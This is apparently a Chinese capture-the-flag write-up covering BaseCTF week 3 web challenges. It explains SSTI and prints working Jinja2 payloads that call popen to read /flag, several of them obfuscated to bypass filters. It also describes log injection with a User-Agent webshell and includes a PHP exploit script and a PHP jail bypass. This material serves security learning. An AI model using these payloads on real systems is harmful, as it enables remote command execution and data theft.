BaseCTF_web_week3
复读机

输入的东西会在下方显示出来,wp说是简单的SSTI,这里来学习一下SSTI
SSTI模板注入
根据My4n师傅的《超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客》写的
用户的输入返回时会经过一个模板渲染,SSTI漏洞就是用户插入了可以破坏模板的语句,导致了敏感信息泄露、rce等问题。
不同的语言会有不同的模板框架。
在这些框架中存在很多类,包括可以做到RCE的类。
所以我们的目标就是要通过模板操作到可以进行RCE的类
那么我们输入什么才会被当成模板注入呢?
因为模板渲染的时候会把"{{}}"包裹的内容当做变量解析替换。比如,{{2*2}}会被解析成4所以,我们需要用 {{恶意代码}} 的形式来进行SSTI
(所以{{2*2}}也被用作检测SSTI漏洞的方法)
知道了这些就可以通过魔术方法,找到rce的类并rce获取flag
__class__ :返回类型所属的对象。
__base__ :返回该对象所继承的父类
__mro__ :返回该对象的所有父类
__subclasses__() 获取当前类的所有子类
__init__ 类的初始化方法
__globals__ 对包含(保存)函数全局变量的字典的引用
假设我们知道一个当前类,通过__class__返回对象,然后用__mro__或者__base__返回父类,直到父类为object类(所有的类都是object类的子类),再用__sublasses__返回所有的子类,这样就能找到存在rce的类啦!
以下是一些当前类的表示方式
''.__class__().__class__[].__class__"".__class__{}.__class__
(ctfshow_web361)

所以我们可以构造{{''.__class__.__base__.__subclasses__}}查看所有类
可以进行rce的类是——"os._wrap_close",所以我们需要找到这个类的序号
可以复制粘贴去记事本,搜索os._wrap_close一下具体的位置(一般在130多)我这里是132

之后用__init__初始化这个类,用__globals__寻找popen函数后可以直接命令执行,记得最后要加一个read()
构造
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat%20/flag').read()}}
这个格式稍微要记一下,目前只知道可以用os._wrap_close的popen
popen后的括号里直接写命令,不需要system

说了这么多,也只是浅浅入门SSTI,之后还会有关于SSTI的绕过,这道复读机就是
回到原题,这里我就整理一下官方wp(前面写的太多了)
1.是过滤了{{}}、替换成{%print%}
3.用"[]"替换"."
2.过滤了斜杠和反斜杠,要读取flag只能通过其他函数拼凑一个"/"
有三种方法
利用 chr 函数来构造出一个命令
(第一行让chr字符串等于chr函数)
(第二行让cmd等于cat /flag)
(第三行就正常输出)
BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}
利用环境变量的值
查看环境变量,可以看到 OLDPWD=/
直接利用它来切换到根目录,然后再读flag
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat flag')['rea''d']())%}
利用 expr substr 切割出一个 /
pwd 中的第一个字符就是 / ,那用 expr substr 切割出来后,之后就可以像上一个方法那样切换到根目录然后读 flag 了
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`expr substr $a 1 1`;cd $a;cat flag')['rea''d']())%}
滤个不停

有几层过滤,终点是include()说明这里最终要往文件包含靠。
我们先一层一层看
第一层很简单,就是post一个HelloWorld。

第二层是一个匹配过滤,就是说我们上传Datch的参数必须要包含's', 'e', 'v', 'a', 'n', 'x', 'r', 'o'所有字母,并且要做到你上传的参数能够执行文件包含。
而且后面还过滤了很多伪协议,这里只能试试日志注入了
日志注入
(这里是我之前写的关于日志注入的笔记)

令人惊喜的是
日志注入要上传的Datch=/var/log/nginx/access.log,居然包含了上面所有的字母,看来就是这么个考点
我们在ua上传一句话木马,并构造/?Datch=/var/log/nginx/access.log,进行日志注入,然后就可以命令执行啦

玩原神玩的

分析一下代码
首先是一个$len,我们要上传len,使len[]的长度和array[]的长度相等。
但是我们并不知道len的长度为多少,不过连续post数组就会默认添加到后一位
但是有几位呢?
(这里直接跳了tip,比较简单)

之后能要post两个m,一个值为100%,第二个是love100%加上第一个值的md5哈希值
post的时候记得url编码一下

最后得出这么多md5值,分别就是flag的每一个的字符的md值
这里可以写一个脚本爆破,思路是这样的
循环遍历每一个字母,如果字母的md5值与位置数的异或等于之前给出的md5值,那么就确定了一个flag的字母。
脚本如下(官方脚本)
for ($ii = 0; $ii < count($md5_array); $ii++) {for ($ascii = 0; $ascii < 256; $ascii++) {if (md5($ascii ^ $ii) === $md5_array[$ii]) {$flag .= chr($ascii);break;}}
}
exp
<?php
highlight_file(__FILE__);
include 'flag.php';$challenge_url = "http://challenge.basectf.fun:42801/?";
$post = "";
for ($i = 0;$i < 45;$i++) {$post .= "len[]=" . $i . "&";
} // $_POST['len'] == sizeof($array)$get = "tip=" . "我要玩原神"; // $tip != "我要玩原神"$post .= "m[]=" . urlencode("100%") . "&m[]=" . urlencode("love100%" . md5("100%"));
echo '<br>' . 'URL: ' . $challenge_url . $get . '<br>';
echo 'POST Data: ' . $post . '<br>';$curl = curl_init();curl_setopt_array($curl, [CURLOPT_URL => $challenge_url . $get,CURLOPT_RETURNTRANSFER => true,CURLOPT_ENCODING => '',CURLOPT_MAXREDIRS => 10,CURLOPT_TIMEOUT => 30,CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,CURLOPT_CUSTOMREQUEST => 'POST',CURLOPT_POSTFIELDS => $post,CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded',],
]);$response = curl_exec($curl);
$err = curl_error($curl);curl_close($curl);if ($err) die('cURL Error #:' . $err);
preg_match('/\[\"(.*?)\"\]/', $response, $matches);if (empty($matches)) die("Invalid JSON");
$json = '["' . $matches[1] . '"]';
echo "MD5 Array: " . $json . '<br>';
$md5_array = json_decode($json, true);
$flag = '';for ($ii = 0; $ii < count($md5_array); $ii++) {for ($ascii = 0; $ascii < 256; $ascii++) {if (md5($ascii ^ $ii) === $md5_array[$ii]) {$flag .= chr($ascii);break;}}
}echo "Flag: " . $flag;
EZ_PHP_Jail

首先是GET一个Jail_by.Happy,这里估计是一个php变量名的考点
php非法字符转化规则
php在8.0版本之前,传变量的时候如果变量含有空格、"+"、"."、"[",这些会变成"_"
但是如果第一个是"[",那么后面的字符就不会被改变
这里就成功绕过了
然后是一个绕过,绕过Jail变量的参数
过滤了$ ` c a s require include,说明不能使用cat,tac,和文件包含
不过文件包含还有highlight_file可以用
还有很多读目录函数没用,比如print_r(glob("/*"));读取根目录

[4]是flag
我们构造
?Jail[by.Happy=highlight_file(glob("/*")[4]);

奇怪的是,官方wp里给出的是
?Jail[by.Happy=highlight_file(glob("/f*")[0]);
也可以读取flag,有没有大佬知道这个是怎么回事QAQ
小结
本来想week3和4一起写的,谁知道SSTI写了这么多QAQ
主要涉及到的知识点有SSTI、日志注入、命令执行、php字符非法字符转化,学到了新东西也复习到了旧东西
相关文章:
BaseCTF_web_week3
复读机 输入的东西会在下方显示出来,wp说是简单的SSTI,这里来学习一下SSTI SSTI模板注入 根据My4n师傅的《超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客》写的 用户的输入返回时会经过一个模板渲染,SSTI漏洞就是用户插入了可以破坏模板…...
模型数据算法概论
模型数据算法是一类使用数据来构建、优化或训练数学模型的算法,常用于数据科学、机器学习和人工智能领域。它们的核心目标是从数据中提取模式或关系,以便在预测、分类或优化任务中应用。以下是一个简要的概述: 1. 模型 模型是用来描述数据特…...
什么是3DEXPERIENCE SOLIDWORKS,它有哪些角色和功能?
将业界领先的 SOLIDWORKS 3D CAD 解决方案连接到基于单一云端产品开发环境 3DEXPERIENCE 平台。您的团队、数据和流程全部连接到一个平台进行高效的协作工作,从而能快速的做出更好的决策。 目 录: ★ 1 什么是3DEXPERIENCE SOLIDWORKS ★ 2 3DEXPERIE…...
Sigrity System SI Parallel Bus Analysis模式进行DDR3仿真分析-传输线模型
Sigrity System SI Parallel Bus Analysis模式进行DDR3仿真分析-传输线模型 Sigrity System SI Parallel Bus Analysis模式提供了简易的已搭建好的模板,方便用户直接在模板上替换数据文件进行仿真分析,下面介绍pba_simple_em模板的使用,具体操作如下 双击启动System SI启动界…...
MacOS下PostIn安装配置指南
PostIn是一款开源免费的接口管理工具, 下面介绍私有部署版本的MacOS下安装与配置。私有部署版本更适合有严格数据安全要求的企业,实现对数据和系统的完全控制。   1、MacOS服务端安装 Mac安装包下载地址:下载Mac安…...
【Leetcode 每日一题】2545. 根据第 K 场考试的分数排序
问题背景 班里有 m m m 位学生,共计划组织 n n n 场考试。给你一个下标从 0 0 0 开始、大小为 m n m \times n mn 的整数矩阵 s c o r e score score,其中每一行对应一位学生,而 s c o r e [ i ] [ j ] score[i][j] score[i][j] 表示…...
一文速通 IIC I2C子系统驱动 通信协议原理 硬件 时序 深度剖析
本文作为一个引入,作用是让读者理解熟知IIC协议关键内容,结合实际手册内容,深度解析协议本质,作为后续嵌入式linux驱动IIC子系统的一个铺垫。 目录 1. 硬件连接 2. IIC传输时序 2.1.写操作 2.2.读操作 2.3.I2C信号 3.IIC协议…...
HarmonyOS(72)事件拦截处理详解
事件拦截 1、参考资料2、HitTestMode3、onTouchIntercept、onTouch、onClick事件执行顺序3.1、系统默认事件传递顺序3.2、子组件拦截事件1、参考资料 HarmonyOS(71) 自定义事件分发之TouchTestStrategy使用说明HarmonyOS(70) ArkUI 事件分发拦截,事件冲突解决方案HitTestModea…...
docker(wsl)命令 帮助文档
WSL wsl使用教程 wsl -l -v 列出所有已安装的 Linux 发行版 wsl -t Ubuntu-22.04 --shutdown 关闭所有正在运行的WSL发行版。如果你只想关闭特定的发行版 wsl -d Ubuntu-22.04 登录到Ubuntu环境 wsl --list --running 查看正在wsl中运行的linux发行版 wsl --unregister (系统名…...
nginx 拦截指定ip访问指定 url
nginx 拦截指定ip访问指定 url 这里需要注意的是一定要用$http_x_forwarded_for 这个变量 upstream myapp1 { # 定义一个名为myapp1的服务器组 server backend1.example.com weight5; # 添加一个服务器,并设置权重为5 server backend2.example.com; # 添加另…...
git仓库的基本概念和流程以及一些基本命令
什么是版本库?版本库又名仓库,英文名repository,你可以简单的理解一个目录,这个目录里面的所有文件都可以被Git管理起来,每个文件的修改,删除,Git都能跟踪,以便任何时刻都可以追踪历史ÿ…...
Intel-ECI之Codesys PLC + Ethercat 远端IO + Codesys IDE编程
目录 一、 准备工作 二、安装Codesys 软件 PLC 三、 使用Codesys IDE 编程测试 CODESYS* 是领先的独立于制造商的 IEC 61131-3 自动化软件,适用于工程控制系统。它用于 Intel Edge Controls for Industrial(Intel ECI 或 ECI),…...
互联网医院系统,互联网医院系统源码可供
互联网医院系统开发,其功能特点和优势在于实现了线上医疗服务与信息技术的深度融合。此系统旨在构建一个更为高效、便捷的医疗服务平台,提升患者的就医体验和医疗服务的效率。 一、功能特点 1、预约挂号与在线咨询 患者可通过系统进行预约挂号…...
Marin说PCB之POC电路layout设计仿真案例---06
我们书接上回啊,对于上面的出现原因我这个美女同事安娜说会不会你把POC电感下面的相邻两层的CUT_OUT的尺寸再去加大一些会不会变得更好呢?这个难道说是真的有用吗?小编我先自己算一卦看下结果。 本期文章我们就接着验证通过改善我们的单板POC…...
windwos defender实现白名单效果(除了指定应用或端口其它一律禁止)禁止服务器上网
一、应用场景说明 当我们的一台windows服务器中毒,变成别人肉鸡,不断向外请示非法网站或攻击其它服务器。 要彻底清除相关木马或病毒往往需要的时间比较长,比较有效的方法是禁止服务器主动向外发包除了网站端口和远程程序除外。 其实这就是一…...
Fiddler勾选https后google浏览器网页访问不可用
一、说明 最近电脑重新安装系统后,之前的所有工具都需要重新安装和配置,有个项目需要抓包https包查看一下请求的内容,通过Fiddler工具,但是开启后,发现https的无法抓取,同时google浏览器也不无法访问互联网…...
机器视觉检测相机基础知识 | 颜色 | 光源 | 镜头 | 分辨率 / 精度 / 公差
注:本文为 “keyence 视觉沙龙中机器视觉检测基础知识” 文章合辑。 机器视觉检测基础知识(一)颜色篇 视觉检测硬件构成的基本部分包括:处理器、相机、镜头、光源。 其中,和光源相关的最重要的两个参数就是光源颜色和…...
解决pytorch安装中的三个错误
查明已安装python版本为3.12.7后,创建虚拟环境。 报错内容:ArgumentError: one of the arguments -n/–name -p/–prefix is required 解决方式: 输入 conda create -n pytorch python3.8即可安装成功。 参考文章:https://blo…...
用Python开发高级游戏:实现3D迷宫游戏
Python虽然被认为是一门简单易学的语言,但它在游戏开发领域同样具有强大的潜力,尤其是结合诸如Pygame、Panda3D、PyOpenGL等框架,可以开发出复杂的游戏。 在本文中,我们将通过一个示例,介绍如何使用Python开发一个高级3D迷宫游戏。本文使用的框架是 Panda3D,一个专为3D游…...
基于 uniapp 开发 android 播放 webrtc 流
一、播放rtsp协议流 如果 webrtc 流以 rtsp 协议返回,流地址如:rtsp://127.0.0.1:5115/session.mpg,uniapp的 <video> 编译到android上直接就能播放,但通常会有2-3秒的延迟。 二、播放webrtc协议流 如果 webrtc 流以 webrt…...
Docker 离线安装指南
参考文章 1、确认操作系统类型及内核版本 Docker依赖于Linux内核的一些特性,不同版本的Docker对内核版本有不同要求。例如,Docker 17.06及之后的版本通常需要Linux内核3.10及以上版本,Docker17.09及更高版本对应Linux内核4.9.x及更高版本。…...
Admin.Net中的消息通信SignalR解释
定义集线器接口 IOnlineUserHub public interface IOnlineUserHub {/// 在线用户列表Task OnlineUserList(OnlineUserList context);/// 强制下线Task ForceOffline(object context);/// 发布站内消息Task PublicNotice(SysNotice context);/// 接收消息Task ReceiveMessage(…...
CMake基础:构建流程详解
目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...
1688商品列表API与其他数据源的对接思路
将1688商品列表API与其他数据源对接时,需结合业务场景设计数据流转链路,重点关注数据格式兼容性、接口调用频率控制及数据一致性维护。以下是具体对接思路及关键技术点: 一、核心对接场景与目标 商品数据同步 场景:将1688商品信息…...
什么是库存周转?如何用进销存系统提高库存周转率?
你可能听说过这样一句话: “利润不是赚出来的,是管出来的。” 尤其是在制造业、批发零售、电商这类“货堆成山”的行业,很多企业看着销售不错,账上却没钱、利润也不见了,一翻库存才发现: 一堆卖不动的旧货…...
第一篇:Agent2Agent (A2A) 协议——协作式人工智能的黎明
AI 领域的快速发展正在催生一个新时代,智能代理(agents)不再是孤立的个体,而是能够像一个数字团队一样协作。然而,当前 AI 生态系统的碎片化阻碍了这一愿景的实现,导致了“AI 巴别塔问题”——不同代理之间…...
UR 协作机器人「三剑客」:精密轻量担当(UR7e)、全能协作主力(UR12e)、重型任务专家(UR15)
UR协作机器人正以其卓越性能在现代制造业自动化中扮演重要角色。UR7e、UR12e和UR15通过创新技术和精准设计满足了不同行业的多样化需求。其中,UR15以其速度、精度及人工智能准备能力成为自动化领域的重要突破。UR7e和UR12e则在负载规格和市场定位上不断优化…...
Pinocchio 库详解及其在足式机器人上的应用
Pinocchio 库详解及其在足式机器人上的应用 Pinocchio (Pinocchio is not only a nose) 是一个开源的 C 库,专门用于快速计算机器人模型的正向运动学、逆向运动学、雅可比矩阵、动力学和动力学导数。它主要关注效率和准确性,并提供了一个通用的框架&…...
A2A JS SDK 完整教程:快速入门指南
目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库ÿ…...
深度学习之模型压缩三驾马车:模型剪枝、模型量化、知识蒸馏
一、引言 在深度学习中,我们训练出的神经网络往往非常庞大(比如像 ResNet、YOLOv8、Vision Transformer),虽然精度很高,但“太重”了,运行起来很慢,占用内存大,不适合部署到手机、摄…...
